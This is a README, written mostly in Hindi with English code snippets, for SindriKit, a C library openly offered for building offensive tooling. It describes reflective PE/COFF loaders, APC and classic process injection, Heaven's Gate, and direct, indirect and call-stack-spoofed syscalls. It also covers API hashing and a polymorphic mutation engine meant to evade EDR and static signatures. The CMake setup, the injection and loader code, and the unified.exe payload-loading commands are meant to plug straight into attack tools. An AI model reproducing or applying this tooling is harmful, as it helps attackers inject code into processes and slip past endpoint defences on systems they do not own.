SindriKit

आक्रामक विकास बेहतर आर्किटेक्चर का हकदार है।
आक्रामक क्षमताओं के निर्माण के लिए एक C लाइब्रेरी।

मूल अवधारणा

अधिकांश आक्रामक उपयोगिताएँ अपने निष्पादन तंत्र को तकनीक के तर्क के भीतर हार्डकोड कर देती हैं। एक रिफ्लेक्टिव लोडर केवल एक इमेज को मैप नहीं करता; यह इसे VirtualAlloc या नेटिव NTAPI कॉल्स की एक विशिष्ट, हार्डकोडेड श्रृंखला का उपयोग करके मैप करता है। जब कोई EDR उस विशिष्ट श्रृंखला की निगरानी शुरू करता है, तो आपको पूरे टूल को फिर से लिखने के लिए मजबूर होना पड़ता है।

SindriKit इंटरफ़ेस एब्स्ट्रैक्शन टेबल्स के माध्यम से कंसर्न्स के पृथक्करण को लागू करके इसे हल करता है:

तकनीक तर्क: (जैसे, लोडर, इंजेक्शन, पैचर) स्टेट ट्रैकिंग और डेटा ऑर्केस्ट्रेशन से निपटता है। इसे इस बात की कोई जानकारी नहीं होती कि मेमोरी कैसे आवंटित की जाती है या थ्रेड्स कैसे बनाए जाते हैं।
निष्पादन तंत्र: (जैसे, Win32 API, नेटिव NTAPI, डायरेक्ट सिसकॉल्स) स्वतंत्र API टेबल्स के भीतर होते हैं और रनटाइम पर तकनीक में इंजेक्ट किए जाते हैं।

निष्पादन तंत्र को रनटाइम फ़ंक्शन पॉइंटर्स में स्थानांतरित करके, आप अपने पेलोड निष्पादन तर्क को बदले बिना कोड की एक पंक्ति से अपनी पूरी रणनीति को Win32 कॉल्स से रॉ डायरेक्ट सिसकॉल्स में बदल सकते हैं।

डिज़ाइन आर्किटेक्चर

डिकपल्ड एक्ज़ीक्यूशन प्रोफाइल्स: तकनीक तर्क को छुए बिना स्वतंत्र फ़ंक्शन-पॉइंटर टेबल्स (snd_memory_api_t, snd_module_api_t, snd_process_api_t, snd_thread_api_t, snd_mapping_api_t, snd_file_api_t) के माध्यम से मेमोरी, मॉड्यूल, मैपिंग, प्रोसेस, थ्रेड, और फ़ाइल तंत्र को स्वैप करें।
तकनीक कवरेज: रिफ्लेक्टिव PE (EXE/DLL) और COFF/BOF लोडिंग, शेलकोड/PE/COFF पर क्लासिक और अर्ली-बर्ड APC इंजेक्शन, साथ ही आर्किटेक्चर-अवेयर FFI और Heaven's Gate — सभी समान कंपोज़ेबल प्रोफाइल्स पर।
कैस्केडिंग सिसकॉल पाइपलाइन: प्लगेबल SSN रिज़ॉल्वर (snd_syscall_resolve_ssn_scan, snd_syscall_resolve_ssn_sort) एक प्राथमिकता श्रृंखला के साथ, इनवोकर्स से डिकपल्ड: डायरेक्ट, इनडायरेक्ट (NTDLL गैजेट), या स्पूफ्ड (डायनामिक Fat-Frame कॉल-स्टैक स्पूफिंग)।
फैसिलिटी-एनकोडेड स्टेटस: प्रत्येक विफल हो सकने वाली कॉल snd_status_t लौटाती है — एक पैक्ड फैसिलिटी/लोकल कोड प्लस कैप्चर किया गया OS एरर, कॉन्टेक्स्ट स्ट्रिंग्स के साथ जो साइलेंट टियर में कंपाइल आउट हो जाती हैं।
कंपाइल-टाइम ऑबफस्केशन: स्ट्रिंग और API हैशिंग एल्गोरिदम (DJB2, FNV1A) को CMake के माध्यम से विश्व स्तर पर स्वैप किया जा सकता है। कंपाइल करने पर स्टैटिक सिग्नेचर्स को बदलने के लिए ग्लोबल सीड स्वचालित रूप से रैंडमाइज़ हो जाता है।
म्यूटेशन इंजन: SND_MORPH के माध्यम से गहरी पॉलीमॉर्फिज़्म को सक्षम करता है। C कोड में वोलेटाइल ओपेक प्रेडिकेट्स, असेंबली स्टब्स में कार्यात्मक रूप से समकक्ष मैथ/NOPs, और कोर स्ट्रक्ट्स के मेमोरी लेआउट को स्क्रैम्बल करके प्रत्येक बिल्ड पर अद्वितीय बाइनरी सिग्नेचर्स उत्पन्न करता है।
रिलीज़ बिल्ड्स: एक साइलेंट टियर सभी डायग्नोस्टिक स्ट्रिंग्स, फ़ाइल डिस्क्रिप्टर्स, और ट्रैकिंग फ्रेम्स को हटा देता है; SND_CRTLESS बिल्ड्स /NODEFAULTLIB, कोई SDK हेडर नहीं, एक PEB फ्रंटएंड, और केवल नेटिव बैकएंड्स के साथ और आगे बढ़ते हैं।

त्वरित शुरुआत

रिपॉज़िटरी एक एकल unified CLI प्रदान करती है जो प्रत्येक प्रोफाइल का प्रयोग करती है:

build.bat pocs
build64\pocs\Release\unified.exe load pe -f payload.dll -e Run --sys

unified load pe|coff, inject classic|apc|hijack (shell, PE, COFF), और hg का समर्थन करता है, प्रत्येक --win/--nt/--sys पर। देखें उदाहरण और PoCs और शुरुआत करना।

SindriKit को एकीकृत करना

cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)

set(SND_BUILD_PAYLOADS  OFF    CACHE BOOL   "")
set(SND_ENABLE_DEBUG    OFF    CACHE BOOL   "")
set(SND_HASH_ALGO      "DJB2"  CACHE STRING "")
set(SND_RANDOMIZE_SEED  ON     CACHE BOOL   "")
set(SND_MORPH           ON     CACHE BOOL   "")

add_subdirectory(libs/SindriKit)

add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)

cmake -B build && cmake --build build --config Release

आपके टूल को SindriKit की सभी क्षमताओं को विरासत में पाने के लिए बस दो पंक्तियाँ: PE और COFF पार्सिंग, रिफ्लेक्टिव लोडिंग, कैस्केडिंग सिसकॉल्स, और इंजेक्शन प्रोफाइल्स।

इंजन

API एब्स्ट्रैक्शन लेयर

        ┌────────────────────────────────────────────────────────────────────────────┐
        │                          ANY OFFENSIVE INTENT                              │
        │    Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ...      │
        ├────────────────────────────────────────────────────────────────────────────┤
        │                     SINDRIKIT API ABSTRACTION LAYER                        │
        │      snd_memory_api_t   ->  alloc · free · protect                         │
        │      snd_module_api_t   ->  load_library · get_proc_address · ...          │
        │      snd_process_api_t  ->  open · alloc_remote · write · protect · thread │
        │      snd_mapping_api_t  ->  open · view · close   (KnownDlls bootstrap)    │
        │      snd_thread_api_t   ->  queue_apc · resume · suspend                   │
        │      snd_file_api_t     ->  load                                           │
        ├──────────────────┬──────────────────────┬──────────────────────────────────┤
        │   Win32 Profile  │    Native Profile    │    Bring Your Own Mechanic       │
        │  VirtualAlloc    │  NtAllocateVirtual   │  Driver · ROP · Exotic           │
        │  LoadLibraryA    │  PEB Walk + EAT      │  Operator-defined functions      │
        └──────────────────┴──────────────────────┴──────────────────────────────────┘

व्यवहार में, इसका मतलब है कि प्रत्येक डोमेन समान अनुबंध का पालन करता है:

// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api    = &snd_mem_win;   // or snd_mem_nt / snd_mem_sys
ctx.mod_api    = &snd_mod_win;   // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);

// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload    = &shellcode;
inj.proc_api   = &snd_proc_sys;  // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);

कैस्केडिंग सिसकॉल पाइपलाइन

SindriKit सिसकॉल रिज़ॉल्यूशन को एक इंजेक्टेबल तंत्र के रूप में मानता है, जो रणनीतियों को प्राथमिकता क्रम में स्टैक करता है। इंजन तब तक फॉल-थ्रू करता है जब तक कोई एक सफल न हो जाए:

snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// or for spoofed syscalls:
// snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);

इनवोकर SSN रिज़ॉल्यूशन से डिकपल्ड है — डोमेन कोड को संशोधित किए बिना डायरेक्ट, इनडायरेक्ट, और स्पूफ्ड सिसकॉल्स के बीच स्विच करें। इनडायरेक्ट इनवोकेशन एक वैध NTDLL गैजेट पर जाता है ताकि रिटर्न एड्रेस ntdll.dll के अंदर रहे; स्पूफ्ड इनवोकेशन इसके अतिरिक्त एक डायनामिक रूप से खोजे गए "Fat Frame" के अंदर एक वास्तविक कॉलर रिटर्न एड्रेस लगाता है, ताकि कॉल-स्टैक अनवाइंड्स सुसंगत रहें।

कंपाइल-टाइम एल्गोरिदम चपलता

प्रत्येक API नाम और मॉड्यूल स्ट्रिंग को कंपाइल टाइम पर एकल CMake वेरिएबल के माध्यम से अंतिम बाइनरी से हटा दिया जाता है:

set(SND_HASH_ALGO "FNV1A")  # or DJB2 recomputes everything automatically
set(SND_RANDOMIZE_SEED ON)  # generates a fresh 32-bit seed on next configure

SindriKit v2.0.0